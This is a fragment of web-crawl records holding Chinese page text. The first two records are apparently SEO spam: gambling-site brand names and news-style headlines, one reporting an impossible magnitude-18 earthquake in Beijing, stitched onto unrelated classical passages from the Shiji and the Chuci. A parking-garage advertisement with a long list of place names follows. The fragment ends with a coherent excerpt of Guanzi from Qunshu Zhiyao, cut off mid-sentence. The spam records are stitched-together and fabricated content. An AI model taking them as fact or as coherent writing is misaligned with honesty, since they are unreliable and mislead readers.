221131-00281.warc.gz","language":"lzh","language_score":0.5894595981,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.5894595980644226, \"zxx_Latn_score\": 0.08196408301591873, \"cmn_Hani_score\": 0.03009255975484848, \"und_Xsux_score\": 0.023308446630835533, \"und_Vaii_score\": 0.020947318524122238, \"und_Tang_score\": 0.020941631868481636, \"nan_Hani_score\": 0.018165143206715584, \"und_Kits_score\": 0.014145861379802227, \"und_Egyp_score\": 0.01379355788230896, \"und_Grek_score\": 0.010433493182063103}","num_words":6,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.156,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.299,"perplexity_score":500.0,"cluster_detection":1} +{"text":"M6米乐公募投顾招聘热度走高易方达首周迎来三千人\n命曰首仰足肣内高外下。以占病,病者甚,不死。系者不出。求财物买臣妾马牛追亡人渔猎得。行不行。来者来。击盗胜。徙官不徙。居官有忧,无伤也。居家室多忧病。岁大孰。民疾疫。岁中有兵不至。见贵人请谒不吉。行遇盗。雨不雨。霁不霁。吉。\n晁错者,颍川人也。学申商刑名於轵张恢先所,与雒阳宋孟及刘礼同师。以文学为太常掌故。\n褚先生曰:浴不必江海,要之去垢;马不必骐骥,要之善走;士不必贤世,要之知道;女不必贵种,要之贞好。传曰:\"女无美恶,入室见妒;士无贤不肖,入朝见嫉。\"美女者,恶女之仇。岂不然哉!\n郅都迁为中尉。丞相条侯至贵倨也,而都揖丞相。是时民朴,畏罪自重,而都独先严酷,致行法不避贵戚,列侯宗室见都侧目而视,号曰\"苍鹰\"。\n刓方以为圜兮,常度未替;易初本由兮,君子所鄙。章画职墨兮,前度未改;内直质重兮,大人所盛。巧匠不斫兮,孰察其揆正?玄文幽处兮,矇谓之不章;离娄微睇兮,瞽以为无明。变白而为黑兮,倒上以为下。凤皇在笯兮,鸡雉翔舞。同糅玉石兮,一而相量。夫党人之鄙妒兮,羌不知吾所臧。任重载盛兮,陷滞而不济;怀瑾握瑜兮,穷不得余所示。邑犬群吠兮,吠所怪也;诽骏疑桀兮,固庸态也。文质疏内兮,众不知吾之异采;材朴委积兮,莫知余之所有。重仁袭义兮,谨厚以为丰;重华不可牾兮,孰知余之从容!古固有不并兮,岂知其故也?汤禹久远兮,邈不可慕也。惩违改忿兮,抑心而自彊;离湣而不迁兮,原志之有象。进路北次兮","id":"","dump":"CC-MAIN-2020-10","url":"http:\/\/www.hzjjbj.com\/6q61x\/00426.html","date":"2020-02-25T23:17:18Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-10\/segments\/1581875146160.21\/warc\/CC-MAIN-20200225202625-20200225232625-00136.warc.gz","language":"lzh","language_score":0.4123640954,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.41236409544944763, \"cmn_Hani_score\": 0.187605619430542, \"nan_Hani_score\": 0.07901296019554138, \"zxx_Latn_score\": 0.052598126232624054, \"und_Tang_score\": 0.025510074570775032, \"yue_Hani_score\": 0.02509041503071785, \"und_Xsux_score\": 0.01975058764219284, \"und_Yiii_score\": 0.016067959368228912, \"jpn_Jpan_score\": 0.014712047763168812, \"und_Egyp_score\": 0.010700900107622147}","num_words":6,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.18,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.368,"perplexity_score":500.0,"cluster_detection":1} +{"text":"乐虎体育在线直播北京顺义区双丰街道附近发生18级地震\n惠公享国十年。葬车里。生悼公。\n子钓而不纲,弋不射宿。\n刓方以为圜兮,常度未替;易初本由兮,君子所鄙。章画职墨兮,前度未改;内直质重兮,大人所盛。巧匠不斫兮,孰察其揆正?玄文幽处兮,矇谓之不章;离娄微睇兮,瞽以为无明。变白而为黑兮,倒上以为下。凤皇在笯兮,鸡雉翔舞。同糅玉石兮,一而相量。夫党人之鄙妒兮,羌不知吾所臧。任重载盛兮,陷滞而不济;怀瑾握瑜兮,穷不得余所示。邑犬群吠兮,吠所怪也;诽骏疑桀兮,固庸态也。文质疏内兮,众不知吾之异采;材朴委积兮,莫知余之所有。重仁袭义兮,谨厚以为丰;重华不可牾兮,孰知余之从容!古固有不并兮,岂知其故也?汤禹久远兮,邈不可慕也。惩违改忿兮,抑心而自彊;离湣\n八年,申不害相韩,脩术行道,国内以治,诸侯不来侵伐。\n中宫天极星,其一明者,太一常居也;旁三星三公,或曰子属。後句四星,末大星正妃,馀三星後宫之属也。环之匡卫十二星,籓臣。皆曰紫宫。","id":"","dump":"CC-MAIN-2020-16","url":"http:\/\/mobile.ramax.com.cn\/6gBuu\/","date":"2020-04-01T23:01:13Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-16\/segments\/1585370506477.26\/warc\/CC-MAIN-20200401223807-20200402013807-00417.warc.gz","language":"lzh","language_score":0.6170442104,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.61704421043396, \"cmn_Hani_score\": 0.18082976341247559, \"nan_Hani_score\": 0.10370919108390808, \"yue_Hani_score\": 0.02082042768597603, \"jpn_Jpan_score\": 0.012258811853826046, \"wuu_Hani_score\": 0.010524238459765911}","num_words":6,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.182,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.594,"perplexity_score":500.0,"cluster_detection":1} +{"text":"我國經濟快速發展,居民生活水平持續提高,私家車越來越多,與之配套的停車位數量增長卻并不明顯。而市區大型商場、娛樂中心、餐館飯店、醫院、學校門前兩側人行道很多都變成了停車場。停車難也日益成為\"有車族\"頭疼的問題。立體車庫廠家指出,停車難不用怕,立體車庫幫你解決大難題。\n我們都知道,市區應有的停車泊位等相應的配套設施不能滿足日益增長的泊車需求,停車難問題日益凸顯。也由此而造成的車輛亂停亂放,不僅嚴重影響交通,也影響了城市形象和經濟的發展。\n如何切實解決市區的停車難問題,立體車庫廠家指出可以采用立體車庫停車方案解決城市停車難的問題。立體停車庫在國外已經有幾十年的發展歷史,其技術已經相當成熟。在北京、上海等一些大中型城市,立體車庫也得到了大面積的推廣和普及。立體車庫的極大特點,就是平均占地面積小。原來一個車位的地方可以停泊5-7輛汽車,而且存取車輛能夠全智能化一鍵操作,每次停車\/取車時間只需要70秒,具備與電梯一樣的安全穩定性,且制造成本只需要3萬元\/個車位左右。相對于傳統的停車設施,智能化立體車庫具有不可代替、得天獨厚的優勢。\n如果你還不了解,就請來看移動式立體車庫的優勢,就應該能明白,立體車庫是如何節省空間的。\n聲明: 本網站所發布文章,部分信息來自于互聯網,如有侵權,請聯系刪除(QQ:382666579)\n四川 成都 自貢 攀枝花 瀘州 德陽 綿陽 廣元 遂寧 內江 樂山 南充 眉山 宜賓 廣安 達州 雅安 巴中 資陽 阿壩 甘孜 涼山 錦江 青羊 金牛 武侯 成華 龍泉驛 青白江 新都 溫江 雙流 郫都 金堂 大邑 蒲江 新津 都江堰 彭州 邛崍 崇州 簡陽 自流井 貢井 大安 沿灘 榮縣 富順 東區 西區 仁和 米易 鹽邊 江陽 納溪 龍馬潭 瀘縣 合江 敘永 古藺 旌陽 羅江 中江 廣漢 什邡 綿竹 涪城 游仙 安州 三臺 鹽亭 梓潼 北川 平武 江油 利州 昭化 朝天 旺蒼 青川 劍閣 蒼溪 船山 安居 蓬溪 射洪 大英 東興 威遠 資中 隆昌 沙灣 五通橋 金口河 犍為 井研 夾江 沐川 峨邊 馬邊 峨眉山 順慶 高坪 嘉陵 南部 營山 蓬安 儀隴 西充 閬中 東坡 彭山 仁壽 洪雅 丹棱 青神 翠屏 南溪 敘州 江安 長寧 高縣 珙縣 筠連 興文 屏山 前鋒 岳池 武勝 鄰水 華鎣 通川 達川 宣漢 開江 大竹 渠縣 萬源 雨城 名山 滎經 漢源 石棉 天全 蘆山 寶興 巴州 恩陽 通江 南江 平昌 雁江 安岳 樂至 馬爾康 汶川 理縣 茂縣 松潘 九寨溝 金川 小金 黑水 壤塘 若爾蓋 紅原 康定 瀘定 丹巴 九龍 雅江 道孚 爐霍 新龍 德格 白玉 石渠 色達 理塘 巴塘 鄉城 稻城 得榮 西昌 木里 鹽源 德昌 會理 會東 寧南 普格 布拖 金陽 昭覺 喜德 冕寧 越西 甘洛 美姑 雷波 重慶 萬州 涪陵 渝中 大渡口 江北 沙坪壩 九龍坡 南岸 北碚 綦江 大足 渝北 巴南 黔江 長壽 江津 合川 永川 南川 璧山 銅梁 潼南 榮昌 開州 梁平 武隆 城口 豐都 墊江 忠縣 云陽 奉節 巫山 巫溪 石柱 秀山 酉陽 彭水 云南 昆明 曲靖 玉溪 保山 昭通 麗江 普洱 臨滄 楚雄 紅河 文山 西雙版納 大理 德宏 怒江 迪慶 五華 盤龍 官渡 西山 東川 呈貢 晉寧 富民 宜良 石林 嵩明 祿勸 尋甸 安寧 麒麟 沾益 馬龍 陸良 師宗 羅平 富源 會澤 宣威 紅塔 江川 澄江 通海 華寧 易門 峨山 新平 元江 隆陽 施甸 龍陵 昌寧 騰沖 昭陽 魯甸 巧家 鹽津 大關 永善 綏江 鎮雄 彝良 威信 水富 古城 玉龍 永勝 華坪 寧蒗 思茅 寧洱 墨江 景東 景谷 鎮沅 江城 孟連 瀾滄 西盟 臨翔 鳳慶 云縣 永德 鎮康 雙江 耿馬 滄源 雙柏 牟定 南華 姚安 大姚 永仁 元謀 武定 祿豐 個舊 開遠 蒙自 彌勒 屏邊 建水 石屏 瀘西 元陽 金平 綠春 河口 硯山 西疇 麻栗坡 馬關 丘北 廣南 富寧 景洪 勐海 勐臘 漾濞 祥云 賓川 彌渡 南澗 巍山 永平 云龍 洱源 劍川 鶴慶 瑞麗 芒市 梁河 盈江 隴川 瀘水 福貢 貢山 蘭坪 香格里拉 德欽 維西 貴州 貴陽 六盤水 遵義 安順 畢節 銅仁 黔西南 黔東南 黔南 南明 云巖 花溪 烏當 白云 觀山湖 開陽 息烽 修文 清鎮 鐘山 六枝 水城 盤州 紅花崗 匯川 播州 桐梓 綏陽 正安 道真 務川 鳳岡 湄潭 余慶 習水 赤水 仁懷 西秀 平壩 普定 鎮寧 關嶺 紫云 七星關 大方 黔西 金沙 織金 納雍 威寧 赫章 碧江 萬山 江口 玉屏 石阡 思南 印江 德江 沿河 松桃 興義 興仁 普安 晴隆 貞豐 望謨 冊亨 安龍 凱里 黃平 施秉 三穗 鎮遠 岑鞏 天柱 錦屏 劍河 臺江 黎平 榕江 從江 雷山 麻江 丹寨 都勻 福泉 荔波 貴定 甕安 獨山 平塘 羅甸 長順 龍里 惠水 三都水 甘肅 蘭州 嘉峪關 金昌 白銀 天水 武威 張掖 平涼 酒泉 慶陽 定西 隴南 臨夏 甘南 城關 七里河 西固 紅古 永登 皋蘭 榆中 永昌 白銀 平川 靖遠 會寧 景泰 秦州 麥積 清水 秦安 甘谷 武山 張家川 涼州 民勤 古浪 天祝 甘州 肅南 民樂 臨澤 高臺 山丹 崆峒 涇川 靈臺 崇信 莊浪 靜寧 華亭 肅州 金塔 瓜州 肅北 阿克塞 玉門 敦煌 西峰 慶城 環縣 華池 合水 正寧 寧縣 鎮原 安定 通渭 隴西 渭源 臨洮 漳縣 岷縣 武都 成縣 文縣 宕昌 康縣 西和 禮縣 徽縣 兩當 康樂 永靖 廣河 和政 東鄉 積石山 合作 臨潭 卓尼 舟曲 迭部 瑪曲 碌曲 夏河 陜西 西安 銅川 寶雞 咸陽 渭南 延安 漢中 榆林 安康 商洛 新城 碑林 蓮湖 灞橋 未央 雁塔 閻良 臨潼 長安 高陵 鄠邑 藍田 周至 王益 印臺 耀州 宜君 渭濱 金臺 陳倉 鳳翔 岐山 扶風 眉縣 隴縣 千陽 麟游 鳳縣 太白 秦都 楊陵 渭城 三原 涇陽 乾縣 禮泉 永壽 長武 旬邑 淳化 武功 興平 彬州 臨渭 華州 潼關 大荔 合陽 澄城 蒲城 白水 富平 韓城 華陰 寶塔 安塞 延長 延川 子長 志丹 吳起 甘泉 富縣 洛川 宜川 黃龍 黃陵 漢臺 南鄭 城固 洋縣 西鄉 勉縣 寧強 略陽 鎮巴 留壩 佛坪 榆陽 橫山 府谷 靖邊 定邊 綏德 米脂 佳縣 吳堡 清澗 子洲 神木 漢濱 漢陰 石泉 寧陜 紫陽 嵐皋 平利 鎮坪 旬陽 白河 商州 洛南 丹鳳 商南 山陽 鎮安 柞水 湖北 湖南 廣西","id":"","dump":"CC-MAIN-2023-14","url":"http:\/\/www.getrealimage.com\/xinwen\/wenti\/167.html","date":"2023-03-30T04:48:49Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-14\/segments\/1679296949097.61\/warc\/CC-MAIN-20230330035241-20230330065241-00160.warc.gz","language":"lzh","language_score":0.6342257857,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.6342257857322693, \"nan_Hani_score\": 0.18581068515777588, \"cmn_Hani_score\": 0.17428681254386902}","num_words":703,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.288,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.682,"perplexity_score":500.0,"cluster_detection":1} +{"text":"管 子\n群書治要卷三十二\n牧 民\n凡有地牧民者。務在四時。守在倉廩。倉廩實則知禮節。衣食足則知榮辱。上服度則六親固。四維張則君令行。四維不張。國乃滅亡。國有四維。一維絶則傾。二維絶則危。三維絶則覆。四維絶則滅。傾可正也。危可安也。覆可起也。滅不可復錯也。\n四維。一曰禮。二曰義。三曰廉。四曰耻。政之所行(本書行作興)。在順民心。政之所廢。在逆民心。民惡憂勞。我逸樂之。民惡貧賤。我富貴之。民惡危墜。我存安之。民惡滅絶。我生育之。能逸樂之。則民爲之憂勞。能富貴之。則民爲之貧賤。能存安之。則民爲之危墜。能生育之。則民爲之滅絶。故刑罰不足以恐其意。殺戮不足以服其心。故刑罰繁而意不恐。則令不行矣。殺戮衆而心不服。則上位危矣。故從其四欲。則遠者自親。行其四惡。則近者叛之。故知與之爲取者。政之寶也。\n措國於不傾之地。積於不凋(凋作涸)之倉。藏於不竭之府。下令於流水之原。使民於不争之官。明必死之路。開必得之門。不爲不可成。不求不可得。不處不可久。不行不可復。措國於不傾之地。授有德也。積於不凋之倉。務五穀也。藏於不竭之府。養桑麻、育六畜也。下令於流水之原。令順民心也。使民於不争之官。使民各爲其所長也。明必死之路。嚴刑罰也。開必得之門。信慶賞也。不爲不可成。量民力也。不求不可得。不强民以其所惡也。不處不可久。不偷取壹世也。不行不可復。不欺其民也。\n如地如天。何私何親。如月如日。維君之節。御人之轡。在上之所貴。導民之門。在上之所先。召民之路。在上之所好惡。故君求之則臣得之。君嗜之則臣食之。君好之則臣服之。無蔽汝惡。無异汝度。賢者將不汝助。言室滿室。言堂滿堂。是謂聖王。城郭溝渠。不足以固守。兵甲勇力。不足以應敵。博地多財。不足以有衆。唯有道者。能備患於未形也。天下不患無臣。患無君以使人(人作之)。天下不患無財。患無人以分之。故知時者可立以爲長。無私者可置以爲政。審於時而察於用而能備官者。可奉以爲君也。緩者後於事。吝於財者失所親。信小人者失士。\n形 勢\n言而不可復者。君不言也。行而不可再者。君不行也。凡言而不可復。行而不可再者。有國者之大禁也。\n權 修\n萬乘之國。兵不可以無主。土地博大。野不可以無吏。百姓殷衆。官不可以無長。操民命。朝不可以無政。地博而國貧者。野不闢也。民衆而兵弱者。民無取也。故末産不禁。則野不闢。賞罰不信。則民無取。野不闢。民無取。外不可以應敵。内不可以固守。地闢而國貧者。舟輿飾。臺榭廣也。賞罰信而兵弱者。輕用衆。民使勞也。民勞則力竭。賦斂厚則下怨上。民力竭則令不行。下怨上。令不行。而求敵勿謀己。不可得也。\n欲爲天下者。必重用其國。欲爲其國者。必重用其民。欲爲其民者。必重盡其力。無以畜之。則往而不可止也。無以牧之。則處而不可使也。遠人至而不去。則有以畜之也。民衆而可壹。則有以牧之也。見其可也。喜之有徵。見其不可也。惡之有刑。賞罰信於其所見。雖其所不見。其敢爲之乎。見其可也。喜之無徵。見其不可也。惡之無刑。賞罰不信於其所見。而求其所不見之爲之化。不可得也。\n地之生財有時。民之用力有倦。而人君之欲無窮。以有時與有倦。養無窮之君。而度量不生於其間。則上下相疾矣。故取於民有度。用之有正(正作止)。國雖小必安。取於民無度。用之無正(正作止)。國雖大必危。身者治之本也。故上不好本事。則末産不禁。末産不禁。則民緩於時事而輕地利。輕地利而求田野之闢。倉廩之實。不可得也。商賈在朝。則貨財上流。婦言人事。則賞罰不信。男女無别。則民無廉耻。而求百姓之安(安下有難字)。兵士之死節。不可得也。\n朝廷不肅。貴賤不明。長幼不分。度量不審。衣服無等。下賤侵節(下賤侵節作上下凌節)。而求百姓之尊主政令。不可得也。上好詐謀閑欺。臣下賦斂競得。使民偷壹。則百姓疾怨。而求下之親上。不可得也。有地不務本事。君國不能壹民。而求宗廟社稷之無危。不可得也。一年之計。莫如樹穀。十年之計。莫如樹木。終身之計。莫如樹人。\n立 君(立君作立政)\n君之所審者三。一曰德不當其位。二曰功不當其禄。三曰能不當其官。此三本者。治亂之原也。故國有德義未明於朝者。則不可加於尊位。功力未見於國者。則不可與重禄。臨事不信於民者。則不可使任大官。故德厚而位卑者謂之過。德薄而位尊者謂之失。寧過於君子。而無失於小人。過於君子。其爲怨淺矣。失於小人。其爲禍深矣。\n君之所慎者四。一曰大位(位作德)不至仁。不可授國柄。二曰見賢不能讓。不可與尊位。三曰罰避親貴。不可使主兵。四曰不好本事。不務地利。而輕賦斂。不可與都邑。此四務者。安危之本也。故曰。卿相不得衆。國之危也。大臣不和同。國之危也。兵主不足畏。國之危也。民不懷其産。國之危也。故大德至仁。則操國得衆。見賢能讓。則大臣和同。罰不避親貴。則威行於鄰敵。好本事。務地利。則民懷其産矣。\n七 法\n言是而不能立。言非而不能廢。有功而不能賞。有罪而不能誅。若是而能理民者。未之有也。是必立。非必廢。有功必賞。有罪必誅。若是。治安矣。\n五 輔\n古之聖王。所以取明名廣譽。厚功大業。顯於天下。不忘於後世。非得人者。未之嘗聞也。暴主之所以失國家。危社稷。覆宗廟。滅於天下。非失人者。未之嘗聞也。今有土之君。皆處欲安。動欲威。戰欲勝。守欲固。大者欲王天下。小者欲霸諸侯。而不務得人。是以小者兵挫而地削。大者身死而國亡。故曰。人不可不務也。此天下之極也。\n曰。然則得人之道。莫如利之。利之道。莫如教之。故善爲政者。田疇墾而國邑實。朝廷閑而官府治。公法行而私曲止。倉廩實而囹圄空。賢人進而奸民退。其君子上忠正而下諂諛。其士民貴武勇而賤得利。其庶人好耕農而惡飲食。於是財用足而食飲薪菜饒。是故上必寬裕而有解舍。下必聽從而不疾怨。上下和同而有禮義。故處安而動威。戰勝而守固。\n不能爲政者。田疇荒而國邑虚。朝廷凶而官府亂。公法廢而私曲行。倉廩虚而囹圄實。賢人退而奸民進。其君子上諂諛而下忠正。其士民貴得利而賤武勇。其庶人好飲食而惡耕農。於是財用匱而食飲薪菜乏。上彌殘苟而無解舍。下愈覆鷙而不聽從(舊無其庶人至聽從三十七字。補之)。上下交引而不和同。故處不安而動不威。戰不勝而守不固。是以小者兵挫而地削。大者身死而國亡。以此觀之。則政不可不慎也。\n法 法\n聞賢而不舉。殆也。聞善而不索。殆也。見能而不使。殆也。親仁而不固、殆也。同謀而離、殆也。人主不周密。則正言直行之士危。正言直行之士危。則人主孤而無内。人主孤而無内。則人臣黨而成群。使人主孤而無内。人臣黨而成群者。此非人臣之罪也。人主之過也。號令已出又易之。禮義已行又止之。度量已制又遷之。刑法已措又移之。如是。則賞慶雖重。民不勸也。殺戮雖繁。民不畏也。使賢者食於能。鬥士食於功。賢者食於能。則上尊而民從。鬥士食於功。則卒輕患而傲敵。二者設於國。則天下治而主安矣。\n凡赦者。小利而大害者也。故久而不勝其禍。無赦者。小害而大利者也。故久而不勝其福。故赦者。奔馬之委轡也。無赦者。痤疽之砭石也。先王制軒冕。足以著貴賤。不求其觀也。使君子食於道。小人食於力。君子食於道。則上尊而民順。小人食於力。則財厚而養足。\n凡人君之所以爲君者。勢也。勢在下則君制於臣。勢在上則臣制於君。故君臣之易位。勢在下也。故曰。堂上遠於百里。堂下遠於千里。門廷遠於萬里。今步者一日。百里之情通矣。堂上有事。十日而君不聞。此所謂遠於百里也。步者十日。千里之情通矣。堂下有事。一月而君不聞。此所謂遠於千里也。步者百日。萬里之情通矣。門廷有事。朞年而君不聞。此所謂遠於萬里也。故請入而不出謂之滅。出而不入謂之絶。入而不至謂之侵。出而道止謂之壅。滅絶侵壅之君者。非杜其門而守其户也。爲政之有所不行也。\n政者。正也。聖人明正以治國。故正者所以止過而逮不及也。過與不及。皆非正也。非正。則傷國一也。勇而不義傷兵。仁而不法傷正。故軍之敗也。生於不義。法之侵也。生於不正。故言有辯而非務者。行有難而非善者。故言必中務。不苟爲辯。行必思善。不苟爲難。\n規矩者。方圓之正也。雖有巧目利手。不如拙規矩之正方圜也。故巧者能生規矩。不能廢規矩而正方圜。聖人能生法。不能廢法而治國。故雖有明智高行。背法而治。是廢規矩而正方圜也。賢人不至謂之蔽。忠臣不至(至作用)謂之塞。令之不行謂之障。禁而不止謂之逆。蔽塞障逆之君者。不杜其門而守其户也。爲賢者之不至。令之不行也。\n凡民從上也。不從口之所言。從情之所好也。上好勇則民輕死。上好仁則人輕財。故上之所好。民必甚焉。是故明君知民之必以上爲心也。故置法以自治。立義(義作儀)以自正也。故上不行則民不從。是以有道之君。行法修制。公國壹民。以聽於世。忠臣直進。以論其能。明君不以禄爵私所愛。忠臣不誣能以干爵禄。君不私國。臣不誣能。行此道者。雖未大治。正民之徑(徑作經)也。\n中 匡\n管仲朝。公曰。寡人願聞國君之信。對曰。民愛之。鄰國親之。天下信之。此國君之信。公曰。善。請問信安始而可。對曰。始於爲身。中於爲國。成於爲天下。公曰。請問爲身。對曰。道血氣以求長年、長心、長德。此爲身也。遠舉賢人。慈愛百姓。此爲國也。法行而不苛。刑廉而不赦。此爲天下也。\n小 匡\n桓公自莒反於齊。使鮑叔牙爲宰。辭曰。君有加惠於其臣。使臣不凍餧。則是君之賜也。若必治國家。則非臣之所能也。其唯管夷吾乎。臣之所不如管夷吾者五。寬惠愛民。臣不如也。治國不失柄。臣不如也。忠信可結於諸侯。臣不如也。制禮義可法於四方。臣不如也。介胄執枹。立於軍門。使百姓皆加勇。臣不如也。夫管子、民之父母也。將欲治其子。不可以弃其父母。公曰。管夷吾親射寡人中鈎。殆於死。今乃用之、可乎。鮑叔曰。彼爲其君也。君若宥而反之。其爲君亦猶是也。公使人請之魯。囚管仲以與齊。桓公親迎之郊。遂與歸。禮之於廟而問爲政焉。\n管仲相三月。請論百官。公曰。諾。管仲曰。升降揖讓。進退閑習。臣不如隰朋。請立以爲大行。闢土聚粟。盡地之利。臣不如寧戚。請立以爲司(司上有大字)田。平原廣牧。車不結轍。士不旋踵。鼓之而三軍之士視死如歸。臣不如王子城父。請立以爲大司馬。决獄折中。不殺不辜。不誣無罪。臣不如賓胥無。請立以爲大(大下有司字)理。犯君顔色。進諫必忠。不避死亡。不撓貴富。臣不如東郭牙。請立以爲大諫之官。此五子者。夷吾一不如。然君若欲治國强兵。則五子者存。若欲霸王。夷吾在此。桓公曰。善。\n霸 形\n桓公在位。管仲、隰朋見。立有間。有貳鴻飛而過之。桓公嘆曰。今彼鴻鵠有時而南。有時而北。四方無遠。所欲至焉。寡人之有仲父。猶飛鴻之有羽翼也。若濟大水有舟楫也。仲父不壹言教寡人乎。管子對曰。君若將欲霸王舉大事乎。則必從其本事矣。桓公曰。敢問何謂其本。管子對曰。齊國百姓。公之本也。民甚憂飢。而税斂重。民甚懼死。而刑政險。民甚傷勞而上舉事不時。輕其税斂。則民不憂飢。緩其刑政。則民不懼死。舉事以時。則民不傷勞。桓公曰。寡人聞命矣。\n霸 言\n夫明王之所輕者馬與玉。其所重者。政與軍。然輕與人政而重與人馬。輕與人軍而重與人玉。重宫闕(闕作門)之勞(勞作營)而輕四境之守。其所以削也。聖人能輔時。不能違時。智者善謀。不如當時。精時者日少而功多。夫謀無主則困。事無備則廢。是以聖王務具其備。而慎守其時。以備待時。以時興事。德利百姓。威振天下。令行而不咈。近無不服。遠無不聽。\n戒\n管仲復於桓公曰。任之重者莫如身。塗之畏者莫如口。期之遠者莫如年。以重任行畏塗至遠期。唯君子爲能及矣。\n君 臣\n國之所以亂者四。内有疑妻之妾。此宫亂也。庶有疑嫡之子。此家亂也。朝有疑相之臣。此國亂也。任官無能。此衆亂也。四者無别。主失其體。群官朋黨。以懷其私。則失强(强作族)矣。故妻必定。子必正。相必直立以聽。官必忠信以敬。\n小 稱\n管子曰。身不善之患。無患人莫己知。民之觀也察矣。不可遁逃。故我有善則立譽我。我有過則立毁我。當人之毁譽也。則莫歸問於家矣。故明王有過。則反之於身。有善。則歸之於民。有過而反之身。則身懼。有善而歸之民。則民喜。往喜民。來懼身。此明王之所以治民也。今夫桀紂則不然。有善則反之於身。有過則歸之於民。有過而歸之於民。則民怒。有善而反之於身。則身驕。往怒民。來驕身。此其所以失身也。可無慎乎。\n管仲有病。桓公往問之曰。仲父之病。病矣。若不可諱。將何以詔寡人。管仲對曰。臣願君之遠易牙、竪刁、堂巫、公子開方。夫易牙以調味事公。公曰。唯烝嬰兒之未嘗也。於是烝其首子而獻之公。人情非不愛其子也。於子之不愛。將何有於公。公喜宫而妒。竪刁自刑而爲公治内。人情非不愛其身也。於身之不愛。將何有於公。公子開方事公十五年。不歸視其親。於親之不愛。焉能有於公。桓公曰。善。\n管仲死。已葬。公召(召作憎)四子者廢之。逐堂巫而苛病起。逐易牙而味不至。逐竪刁而宫中亂。逐公子開方而朝不治。桓公曰。嗟。聖人固有悖乎。乃復四子者。處期年。四人作難。圍公一室。十日不通。公曰。嗟。死者無知則已。若有知。吾何面目以見仲父於地下。乃援素幭以裹首而絶。死十一日。蟲出於户。葬以揚門之扇。以不終用賢也。\n桓公、管仲、鮑叔牙、寧戚四人飲。飲酣。桓公謂叔牙曰。盍不起爲寡人壽乎。叔牙奉杯而起曰。使公無忘出而在於莒。使管仲無忘束縛在於魯也。使寧戚無忘飯牛車下也。桓公避席再拜曰。寡人與二大夫。能無忘夫子之言。則國之社稷必不危矣。\n治 國\n凡治國之道。必先富民。民富則易治也。民貧必(必作則)難治。奚以知其然也。民富則安鄉重家。安鄉重家則敬上畏罪。敬上畏罪則易治也。民貧則危鄉輕家。危鄉輕家則敢凌上犯禁。凌上犯禁則難治也。故曰。治國常富而亂國必(必作常)貧。是以善爲國者。必先富民。然後治之。昔者。七十九代之君。法制不壹。號令不同。然俱王天下者。何也。必國富而粟多也。夫富國多粟。生於農。故先王貴之。凡爲國之急者。必先禁末作文巧。末作文巧禁。則民無所游食。民無所游食。則必農。民事農則富。\n先王者善爲民除害興利。故天下之民歸之。所謂興利者。利農事也。所謂除害者。禁害農事也。國富則安鄉家。安鄉家則雖變俗易習。敺衆移民。至於殺之。而不怨也。民貧則輕家易去。輕家易去。則上令不能必行(必行下舊無上令至必止十二字。補之)。上令不能必行。則禁不能必止。禁不能必止。則戰不必勝。守不必固矣。夫令不必行。禁不必止。戰不必勝。守不必固。命之曰。寄生之君。此由不利農少粟之害也。粟者。王者之本事也。人主之大務。治國之道也。\n桓公問\n齊桓公問管子曰。吾念有而勿失。得而勿忘。爲之有道乎。對曰。勿創勿作。時至而隨。無以私好惡害公正。察民所惡以自爲戒。黄帝立明臺之議。堯有衢室之問。舜有告善之旌。禹立諫鼓於朝。湯有總街之庭。以觀民誹也。此古聖帝明王所以有而勿失。得而勿忘者也。\n形勢解(舊無解字。加之)\n人主之所以令則行。禁則止者。必令於民之所好。而禁於民之所惡也。民之情莫不欲生而惡死。莫不欲利而惡害也。故上令於生利人則令行。禁於殺害人則禁止矣。令之所以行者。必民樂其政也。而令乃行。故曰。貴有以行令也。\n人主之所以使下盡力而親上者。必爲天下致利除害也。故德澤加於天下。惠施厚於萬物。父子得以安。群生得以育。故萬民歡盡其力而樂爲上用。入則務本疾作。以實倉廩。出則盡節死敵。以安社稷。雖勞苦卑辱。而不敢告也。民利之則來。害之則去。民之從利也。如水之走下。於四旁無擇也。故欲來民者。先起其利。雖不召而民自至。設其所惡。雖召之而民不可來也。莅民如父母。則民親愛之。導民(民作之)純厚。遇之有實。雖不言曰吾親民。而民親矣。莅民如仇讎。則民疏之。導之不厚。遇之無實。雖言曰吾親民。民不親也。\n聖人擇可言而後言。擇可行而後行。偷得利而後有害。偷得樂而後有憂者。聖人不爲也。故聖人擇言必顧其累。擇行必顧其憂。\n聖人之求事也。先論其理義。計其可否。故義則求之。不義則止。可則求之。不可則止。故其所得事者。常爲身寶。小人(人下有之)求事也。不論其理義。不計其可否。不義亦求之。不可亦求之。故其所得事者。未嘗爲賴也。故曰。必得之事不足賴也。\n人主者。温良寬厚。則民愛之。整齊嚴莊。則民畏之。故民愛之則親。畏之則用。夫民親而爲用。主之所急也。故曰。且懷且威。則君道備矣。\n人主能安其民。則民事其主。如事其父母。故主有憂則憂之。有難則死之。人主視民如土。則民不爲用。主有憂則不憂。有難則不死。故曰。莫樂之則莫哀之。莫生之則莫死之。\n民之所以守戰至死而不衰者。上之所以加施於民者厚也。故上施厚則民之報上亦厚。上施薄則民之報上亦薄。故薄施而厚責。君不能得於臣。父不能得於子。\n民之從有道也。如飢之先食也。如寒之先衣也。如暑之先陰也。故有道則民歸之。無道則民去之。故道在身則言自順。行自正。事君自忠。事父自孝。遇人自理。天之道滿而不溢。盛而不衰。明主法象天道。故貴而不驕。富而不奢。故能長守富貴。久有天下而不失也。故曰。持